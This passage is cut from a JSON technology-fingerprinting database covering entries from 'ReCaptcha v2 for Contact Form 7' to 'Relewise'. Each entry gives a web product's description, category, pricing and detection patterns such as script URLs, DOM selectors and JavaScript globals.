\"\\\\.replain\\\\.cc/\"\n    ],\n    \"website\": \"https://replain.cc\"\n  },\n  \"ReCaptcha v2 for Contact Form 7\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Contact Form 7 v5.1 dropped support for reCaptcha v2 along with the [recaptcha] tag December 2018. This plugin brings that functionality back from Contact Form 7 5.0.5 and re-adds the [recaptcha] tag.\",\n    \"icon\": \"ReCaptcha v2 for Contact Form 7.svg\",\n    \"implies\": [\n      \"Contact Form 7\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wpcf7-recaptcha/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/wpcf7-recaptcha/\"\n  },\n  \"ReConvert\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"ReConvert is a post-purchase upsell & thank you page.\",\n    \"icon\": \"ReConvert.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"payg\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stilyoapps\\\\.com/reconvert/assets/js/store_reconvert_node\\\\.js\"\n    ],\n    \"website\": \"https://www.reconvert.io\"\n  },\n  \"ReDoc\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Redoc is an open-source tool that generates API documentation from OpenAPI specifications.\",\n    \"html\": [\n      \"<redoc \"\n    ],\n    \"icon\": \"redoc.png\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"js\": {\n      \"Redoc.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"/redoc\\\\.(?:min\\\\.)?js\"\n    ],\n    \"website\": \"https://github.com/Rebilly/ReDoc\"\n  },\n  \"React\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:facebook:react:*:*:*:*:*:*:*:*\",\n    \"description\": \"React is an open-source JavaScript library for building user interfaces or UI components.\",\n    \"dom\": {\n      \"body > div\": {\n        \"properties\": {\n          \"_reactRootContainer\": \"\"\n        }\n      },\n      \"div[id*='react-root'], span[id*='react-'], style[id*='react-tooltip-core-styles']\": {\n        \"exists\": \"\"\n      }\n    },\n    \"html\": [\n      \"<[^>]+data-react\"\n    ],\n    \"icon\": \"React.svg\",\n    \"js\": {\n      \"React.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"ReactOnRails\": \"\",\n      \"__REACT_ON_RAILS_EVENT_HANDLERS_RAN_ONCE__\": \"\",\n      \"__isReactFizzContext\": \"\"\n    },\n    \"meta\": {\n      \"description\": \"^Web site created using create-react-app$\"\n    },\n    \"scriptSrc\": [\n      \"react(?:-with-addons)?[.-](\\\\d+(?:\\\\.\\\\d+)+)[^/]*\\\\.js\\\\;version:\\\\1\",\n      \"/([\\\\d\\\\.]+)/react(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"^react\\\\b.*\\\\.js\"\n    ],\n    \"website\": \"https://reactjs.org\"\n  },\n  \"React Bricks\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"React Bricks is a visual editing CMS based on React components.\",\n    \"dom\": {\n      \"img[src*='react']\": {\n        \"attributes\": {\n          \"src\": \"react(?:-)?bricks\\\\.\"\n        }\n      }\n    },\n    \"icon\": \"React Bricks.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"React\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://reactbricks.com\"\n  },\n  \"React Flow\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"React Flow is a library for building node-based applications.\",\n    \"dom\": {\n      \"style[type='text/css']\": {\n        \"text\": \"react-flow\"\n      }\n    },\n    \"icon\": \"React Flow.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"React\"\n    ],\n    \"website\": \"https://reactflow.dev\"\n  },\n  \"React Native for Web\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"React Native for Web is a library that allows developers to use React Native components and patterns to build cross-platform web applications alongside native mobile applications.\",\n    \"dom\": [\n      \"style#react-native-stylesheet\"\n    ],\n    \"icon\": \"React.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://necolas.github.io/react-native-web/\"\n  },\n  \"React Redux\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"React Redux is the official React binding for Redux.\",\n    \"icon\": \"Redux.svg\",\n    \"implies\": [\n      \"React\",\n      \"Redux\"\n    ],\n    \"scriptSrc\": [\n      \"/react-redux(@|/)([\\\\d.]+)(?:/[a-z]+)?/react-redux(?:.min)?\\\\.js\\\\;version:\\\\2\"\n    ],\n    \"website\": \"https://react-redux.js.org/\"\n  },\n  \"React Router\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"React Router provides declarative routing for React.\",\n    \"icon\": \"React Router.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"js\": {\n      \"__reactRouterVersion\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/react-router(@|/)([\\\\d.]+)(?:/[a-z]+)?)?/react-router(?:\\\\.min)?\\\\.js\\\\;version:\\\\2\"\n    ],\n    \"website\": \"https://reactrouter.com\"\n  },\n  \"Reactive\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"Reactive is a subscription-based software that allows you to set up an online store and website. It has a CMS and has been created to support retail, coffee bars, restaurants owners and accomodation properties such as hotels or villas. With Reactive one can sell products or accept reservations and online orders.\",\n    \"icon\": \"Reactive.svg\",\n    \"implies\": [\n      \"Ruby on Rails\"\n    ],\n    \"meta\": {\n      \"generator\": \"Reactive\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"^https?//.+\\\\.reactiveonline\\\\.io\"\n    ],\n    \"website\": \"https://reactiveonline.io\"\n  },\n  \"ReadAloud\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"The SiteSpeaker text-to-speech widget is embedded into your posts and give users an alternate way to consume your content as audio.\",\n    \"dom\": [\n      \"div#ra-player, div[data-skin*='assets\\\\.sitespeaker\\\\.link/embed/skins']\"\n    ],\n    \"icon\": \"default.svg\",\n    \"website\": \"https://www.readaloudwidget.com\",\n    \"xhr\": [\n      \"assets\\\\.sitespeaker\\\\.link\"\n    ]\n  },\n  \"ReadMe\": {\n    \"cats\": [\n      4,\n      1\n    ],\n    \"description\": \"ReadMe is a content management system that businesses use to create and manage technical or API documentation.\",\n    \"icon\": \"readme.svg\",\n    \"meta\": {\n      \"readme-deploy\": \"^[\\\\d\\\\.]+$\",\n      \"readme-version\": \"^[\\\\d\\\\.]+$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"/cdn\\\\.readme\\\\.io/js/\"\n    ],\n    \"website\": \"https://readme.com\"\n  },\n  \"ReadSpeaker\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"ReadSpeaker is an intuitive text-to-speech API that converts text into natural-sounding audio files for websites and applications.\",\n    \"icon\": \"ReadSpeaker.svg\",\n    \"js\": {\n      \"ReadSpeaker\": \"\",\n      \"ReadSpeaker.meta.version\": \"^([\\\\d\\\\.]+)_.+$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.readspeaker\\\\.com/\"\n    ],\n    \"website\": \"https://www.readspeaker.com\"\n  },\n  \"ReadyPlanet\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"ReadyPlanet is a marketing platform from Thailand, offering various widgets to support businesses in their online marketing efforts.\",\n    \"dom\": [\n      \"link[href*='rwidget.readyplanet.com']\"\n    ],\n    \"icon\": \"ReadyPlanet.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.readyplanet\\\\.com/\"\n    ],\n    \"website\": \"https://www.readyplanet.com\"\n  },\n  \"Readymag\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Readymag is a browser-based design tool that helps create websites, portfolios and all kinds of online publications without coding.\",\n    \"icon\": \"Readymag.svg\",\n    \"meta\": {\n      \"generator\": \"^Readymag$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://readymag.com\"\n  },\n  \"Really Simple CAPTCHA\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Really Simple CAPTCHA does not work alone and is intended to work with other plugins. It is originally created for Contact Form 7, however, you can use it with your own plugin.\",\n    \"dom\": [\n      \"img[src*='/wp-content/plugins/really-simple-captcha/']\"\n    ],\n    \"icon\": \"Really Simple CAPTCHA.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/really-simple-captcha\"\n  },\n  \"RebelMouse\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"x-rebelmouse-cache-control\": \"\",\n      \"x-rebelmouse-surrogate-control\": \"\"\n    },\n    \"html\": [\n      \"<!-- Powered by RebelMouse\\\\.\"\n    ],\n    \"icon\": \"RebelMouse.svg\",\n    \"js\": {\n      \"REBELMOUSE_ACTIVE_TASKS_QUEUE\": \"\"\n    },\n    \"website\": \"https://www.rebelmouse.com/\"\n  },\n  \"Rebuy\": {\n    \"cats\": [\n      76,\n      100\n    ],\n    \"description\": \"Rebuy offers personlisation solutions for ecommerce sites.\",\n    \"icon\": \"Rebuy.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"rebuyConfig\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\",\n      \"low\"\n    ],\n    \"scriptSrc\": [\n      \"rebuyengine\\\\.com\"\n    ],\n    \"website\": \"https://rebuyengine.com/\"\n  },\n  \"Recapture\": {\n    \"cats\": [\n      98\n    ],\n    \"description\": \"Recapture is an abandoned cart recovery and email marketing solution.\",\n    \"icon\": \"Recapture.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.recapture\\\\.io/.+\\\\?v=\\\\d+(?:&ver=([\\\\d\\\\.]+)?)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://recapture.io\"\n  },\n  \"Recart\": {\n    \"cats\": [\n      98\n    ],\n    \"description\": \"Recart is a tool to engage users who abandoned their shopping cart via Facebook Messenger.\",\n    \"icon\": \"Recart.svg\",\n    \"js\": {\n      \"__recart\": \"\",\n      \"recart\": \"\"\n    },\n    \"scriptSrc\": [\n      \"api\\\\.recart\\\\.com\"\n    ],\n    \"website\": \"https://recart.com/\"\n  },\n  \"Recent Posts Widget With Thumbnails\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Recent Posts Widget With Thumbnails is based on the well-known WordPress default widget 'Recent Posts' and extended to display more informations about the posts.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/recent-posts-widget-with-thumbnails/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/recent-posts-widget-with-thumbnails/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Recent Posts Widget With Thumbnails.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/recent-posts-widget-with-thumbnails/\"\n  },\n  \"Recharge\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Recharge is the a subscription payments platform designed for merchants to set up and manage dynamic recurring billing across web and mobile.\",\n    \"icon\": \"Recharge.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"ReChargeWidget\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"rechargeassets-bootstrapheroes-rechargeapps\\\\.netdna-ssl\\\\.com\",\n      \"\\\\.rechargecdn\\\\.com/\"\n    ],\n    \"website\": \"https://rechargepayments.com\"\n  },\n  \"Recharts\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Recharts is a component-based charting library, which is exclusively built for React applications.\",\n    \"dom\": {\n      \"div > div > svg.recharts-surface\": {\n        \"attributes\": {\n          \"class\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Recharts.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://recharts.org/\"\n  },\n  \"Recite Me\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Recite Me is a web accessibility overlay that claims to allow website visitors to customize a site in a way that works for them.\",\n    \"icon\": \"Recite Me.svg\",\n    \"scriptSrc\": [\n      \"api\\\\.reciteme\\\\.com/asset/js\"\n    ],\n    \"website\": \"https://reciteme.com/\"\n  },\n  \"Recombee\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Recombee is a Recommender as a Service offering a RESTful API and SDKs, custom-tailored by data scientists.\",\n    \"icon\": \"Recombee.svg\",\n    \"js\": {\n      \"obsPostRecombee\": \"\",\n      \"obsRecombee\": \"\",\n      \"recombee\": \"\",\n      \"recombeeClient\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.recombee.com\"\n  },\n  \"Recomify\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Recomify is a 1-click install, cost-effective smart product recommendation engine.\",\n    \"icon\": \"Recomify.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.recomify\\\\.com/\"\n    ],\n    \"website\": \"https://www.recomify.com\"\n  },\n  \"Recop\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Recop is a recruitment optimization system from Japan.\",\n    \"icon\": \"Recop.svg\",\n    \"js\": {\n      \"$recop.Event\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://recop.jp\"\n  },\n  \"RecoverMyCart\": {\n    \"cats\": [\n      76,\n      100\n    ],\n    \"description\": \"RecoverMyCart is a Shopify app for abandoned basket recovery.\",\n    \"icon\": \"RecoverMyCart.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.recovermycart\\\\.com\"\n    ],\n    \"website\": \"https://app.recovermycart.com/\"\n  },\n  \"Recruitee\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Recruitee is an integrated cloud-based recruitment management and applicant tracking system.\",\n    \"dom\": [\n      \"a[href*='.recruitee.com']\"\n    ],\n    \"icon\": \"Recruitee.svg\",\n    \"js\": {\n      \"RtApp.mapBoxToken\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://recruitee.com\"\n  },\n  \"Recurate\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Recurate is a tech-enabled resale service that empowers brands & retailers to establish their own integrated resale platforms directly on their ecommerce sites.\",\n    \"dom\": {\n      \"a[href*='support@recurate.com']\": {\n        \"attributes\": {\n          \"href\": \"mailto\\\\:support\\\\@recurate\\\\.com\"\n        }\n      },\n      \"link[href*='/recurate-site.css']\": {\n        \"attributes\": {\n          \"href\": \"cdn\\\\.shopify\\\\.com/.+/recurate-site\\\\.css\"\n        }\n      }\n    },\n    \"icon\": \"Recurate.svg\",\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"scripts\": [\n      \"\\\"(?:vendor|title)?\\\"\\\\:\\\"Recurate\\\"\"\n    ],\n    \"website\": \"https://www.recurate.com\"\n  },\n  \"Recurly\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Recurly provides enterprise-class subscription billing and recurring payment management for thousands of businesses worldwide.\",\n    \"dom\": [\n      \"input[data-recurly]\"\n    ],\n    \"html\": [\n      \"<input[^>]+data-recurly\"\n    ],\n    \"icon\": \"Recurly.svg\",\n    \"js\": {\n      \"recurly.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"js\\\\.recurly\\\\.com\"\n    ],\n    \"website\": \"https://recurly.com\"\n  },\n  \"Red Hat\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:redhat:linux:*:*:*:*:*:*:*:*\",\n    \"description\": \"Red Hat is an open-source Linux operating system.\",\n    \"headers\": {\n      \"Server\": \"Red Hat\",\n      \"X-Powered-By\": \"Red Hat\"\n    },\n    \"icon\": \"Red Hat.svg\",\n    \"website\": \"https://www.redhat.com\"\n  },\n  \"Red Hat Gluster\": {\n    \"cats\": [\n      48\n    ],\n    \"description\": \"Gluster is a free and open source scalable network filesystem.\",\n    \"icon\": \"gluster.png\",\n    \"saas\": true,\n    \"website\": \"https://www.gluster.org\"\n  },\n  \"Red je Pakketje\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Red je Pakketje is a Dutch company specialised in same-day-delivery.\",\n    \"icon\": \"Red je Pakketje.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bRed je Pakketje\\\\b\"\n    ],\n    \"website\": \"https://redjepakketje.nl\"\n  },\n  \"RedCart\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"rc2c-erotica\": \"\\\\d+\"\n    },\n    \"description\": \"RedCart is an all-in-one ecommerce platform from Poland.\",\n    \"icon\": \"RedCart.svg\",\n    \"js\": {\n      \"RC_SHOP_ID\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://redcart.pl\"\n  },\n  \"RedShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"RedShop provides a platform for SMEs to manage their ecommerce business.\",\n    \"dom\": [\n      \"link[href*='//redshop.s3.amazonaws.com/']\"\n    ],\n    \"icon\": \"RedShop.svg\",\n    \"implies\": [\n      \"Amazon S3\",\n      \"TypeScript\",\n      \"Next.js\",\n      \"React\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.redshop.io\"\n  },\n  \"Reddit\": {\n    \"cats\": [\n      2\n    ],\n    \"html\": [\n      \"(?:<a[^>]+Powered by Reddit|powered by <a[^>]+>reddit<)\"\n    ],\n    \"icon\": \"Reddit.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"js\": {\n      \"reddit\": \"\"\n    },\n    \"url\": [\n      \"^https?://(?:www\\\\.)?reddit\\\\.com\"\n    ],\n    \"website\": \"https://code.reddit.com\"\n  },\n  \"Reddit Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Reddit Ads is an online advertising offering from Reddit.\",\n    \"icon\": \"Reddit.svg\",\n    \"scriptSrc\": [\n      \"www\\\\.redditstatic\\\\.com\"\n    ],\n    \"website\": \"https://advertising.reddithelp.com/\"\n  },\n  \"Redis\": {\n    \"cats\": [\n      34\n    ],\n    \"cpe\": \"cpe:2.3:a:redislabs:redis:*:*:*:*:*:*:*:*\",\n    \"description\": \"Redis is an in-memory data structure project implementing a distributed, in-memory key–value database with optional durability. Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.\",\n    \"icon\": \"Redis.svg\",\n    \"website\": \"https://redis.io\"\n  },\n  \"Redis Object Cache\": {\n    \"cats\": [\n      23\n    ],\n    \"html\": [\n      \"<!--\\\\s+Performance optimized by Redis Object Cache\"\n    ],\n    \"icon\": \"RedisObjectCache.svg\",\n    \"implies\": [\n      \"Redis\",\n      \"WordPress\"\n    ],\n    \"website\": \"https://wprediscache.com\"\n  },\n  \"Redmine\": {\n    \"cats\": [\n      13\n    ],\n    \"cookies\": {\n      \"_redmine_session\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:redmine:redmine:*:*:*:*:*:*:*:*\",\n    \"description\": \"Redmine is a free and open-source, web-based project management and issue tracking tool.\",\n    \"html\": [\n      \"Powered by <a href=\\\"[^>]+Redmine\"\n    ],\n    \"icon\": \"Redmine.png\",\n    \"implies\": [\n      \"Ruby on Rails\"\n    ],\n    \"meta\": {\n      \"description\": \"Redmine\"\n    },\n    \"website\": \"https://www.redmine.org\"\n  },\n  \"Redonner\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"This company promotes the collection and recycling of textiles by rewarding each donation of clothing made on its website with 'Re' points, allowing you to benefit from advantages and discounts at more than 70 partner brands.\",\n    \"icon\": \"Redonner.svg\",\n    \"scriptSrc\": [\n      \"\\\\.redonner\\\\.fr/\"\n    ],\n    \"website\": \"https://www.redonner.fr\"\n  },\n  \"Redux\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Redux is a predictable state container for JavaScript applications.\",\n    \"dom\": [\n      \"link[href*='//redux.js.org']\"\n    ],\n    \"icon\": \"Redux.svg\",\n    \"js\": {\n      \"__REDUX_DEVTOOLS_EXTENSION__\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/redux(@|/)([\\\\d.]+)(?:/[a-z]+)?/redux(?:.min)?\\\\.js\\\\;version:\\\\2\"\n    ],\n    \"website\": \"https://redux.js.org\"\n  },\n  \"Redux Framework\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Redux Framework is a modular PHP library that allows developers to create customisable settings panels and controls for WordPress projects, providing a consistent user interface for managing options and settings.\",\n    \"icon\": \"Redux Framework.svg\",\n    \"meta\": {\n      \"framework\": \"Redux\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"generator\": \"Redux\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://redux.io\"\n  },\n  \"RedwoodJS\": {\n    \"cats\": [\n      12,\n      18\n    ],\n    \"description\": \"RedwoodJS is a full-stack serverless web application framework built by Tom Preston Werner (co-founder of Github) et al.\",\n    \"dom\": [\n      \"div#redwood-app\"\n    ],\n    \"icon\": \"RedwoodJS.svg\",\n    \"implies\": [\n      \"React\",\n      \"GraphQL\",\n      \"TypeScript\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://redwoodjs.com\"\n  },\n  \"Reelevant\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Reelevant is a visual content platform that helps businesses to create on-demand content for their viewers in order to increase conversion rates.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.reelevant\\\\.com\"\n    },\n    \"icon\": \"Reelevant.svg\",\n    \"js\": {\n      \"reel.companyId\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://try.reelevant.com\"\n  },\n  \"Reevoo\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Reevoo is a provider of UGC solutions like reviews.\",\n    \"icon\": \"Reevoo.svg\",\n    \"js\": {\n      \"ReevooApi\": \"\",\n      \"reevooAccessCode\": \"\",\n      \"reevooLoader.tracking\": \"\",\n      \"reevooUrl\": \"\\\\.reevoo\\\\.com/\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.reevoo\\\\.com/\"\n    ],\n    \"website\": \"https://www.reevoo.com\"\n  },\n  \"Refericon\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Refericon is a tool that enhances conversion and sales by using referral marketing.\",\n    \"icon\": \"Refericon.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//app\\\\.refericon\\\\.pl/\"\n    ],\n    \"website\": \"https://refericon.pl/\"\n  },\n  \"ReferralCandy\": {\n    \"cats\": [\n      94,\n      84\n    ],\n    \"description\": \"ReferralCandy is a marketing platform that gets shoppers to refer their friends.\",\n    \"dom\": [\n      \"iframe[src*='.referralcandy.com/'],li > a[href*='.referralcandy.com/'],div > a[href*='.referralcandy.com/'] \"\n    ],\n    \"icon\": \"ReferralCandy.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.referralcandy\\\\.com/\"\n    ],\n    \"website\": \"https://www.referralcandy.com\"\n  },\n  \"Refersion\": {\n    \"cats\": [\n      71,\n      36\n    ],\n    \"description\": \"Refersion is an affiliate management app.\",\n    \"dom\": {\n      \"a[href*='.refersion.com']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      },\n      \"img[src*='cdn.refersion.com'],img[src*='s3.amazonaws.com/refersion_client/']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Refersion.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.refersion\\\\.com\"\n    ],\n    \"website\": \"https://refersion.com\"\n  },\n  \"Refiner\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Refiner provides a survey solution designed to help SaaS companies get more survey responses and gain a better understanding of their users.\",\n    \"dom\": [\n      \"div#refiner-widget-wrapper\"\n    ],\n    \"icon\": \"Refiner.svg\",\n    \"js\": {\n      \"_refiner\": \"\",\n      \"_refinerAlreadyBooted\": \"\",\n      \"_refinerQueue\": \"\",\n      \"_refinerTracker\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.refiner\\\\.io/v([\\\\d]+)/client\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://refiner.io\"\n  },\n  \"Reflektion\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Reflektion is a customer centric personalisation platform that optimizes customer experiences on an individual basis in real time.\",\n    \"icon\": \"Reflektion.png\",\n    \"js\": {\n      \"RFK_DEPLOY_TIME\": \"\",\n      \"RfkParams\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cloudfront\\\\.net/js/reflektion\\\\.js\"\n    ],\n    \"website\": \"https://reflektion.com\"\n  },\n  \"Refundid\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"Refundid provides ecommerce customers instant refunds for their online returns.\",\n    \"dom\": [\n      \"a[href*='.refundid.com/']\"\n    ],\n    \"icon\": \"Refundid.svg\",\n    \"js\": {\n      \"launchRefundidPopup\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"website\": \"https://refundid.com\"\n  },\n  \"Regiondo\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Regiondo is a online booking system for tour and activity providers.\",\n    \"icon\": \"Regiondo.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.regiondo\\\\.net\"\n    ],\n    \"website\": \"https://www.regiondo.com\"\n  },\n  \"Reinvigorate\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Reinvigorate.png\",\n    \"js\": {\n      \"reinvigorate\": \"\"\n    },\n    \"website\": \"https://www.reinvigorate.net\"\n  },\n  \"Rela\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Rela is a set of property marketing tools for real estate professionals to enhance listings, attract potential buyers, and streamline the sales process.\",\n    \"icon\": \"Rela.svg\",\n    \"js\": {\n      \"relaAjaxLink\": \"\",\n      \"relaAjaxPost\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.relahq.com\"\n  },\n  \"Relais Colis\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Relais Colis is a French parcel delivery network.\",\n    \"icon\": \"Relais Colis.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bRelais Colis\\\\b\"\n    ],\n    \"website\": \"https://www.relaiscolis.com\"\n  },\n  \"Relap\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Relap is an advertising effectiveness system that focuses on optimizing content recommendations and increasing user engagement.\",\n    \"icon\": \"Relap.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//relap\\\\.io/v([\\\\d]+)/relap\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://relap.io\"\n  },\n  \"Relewise\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Relewise is a platform that uses personalisation technology to provide customised online experiences through personalised search and 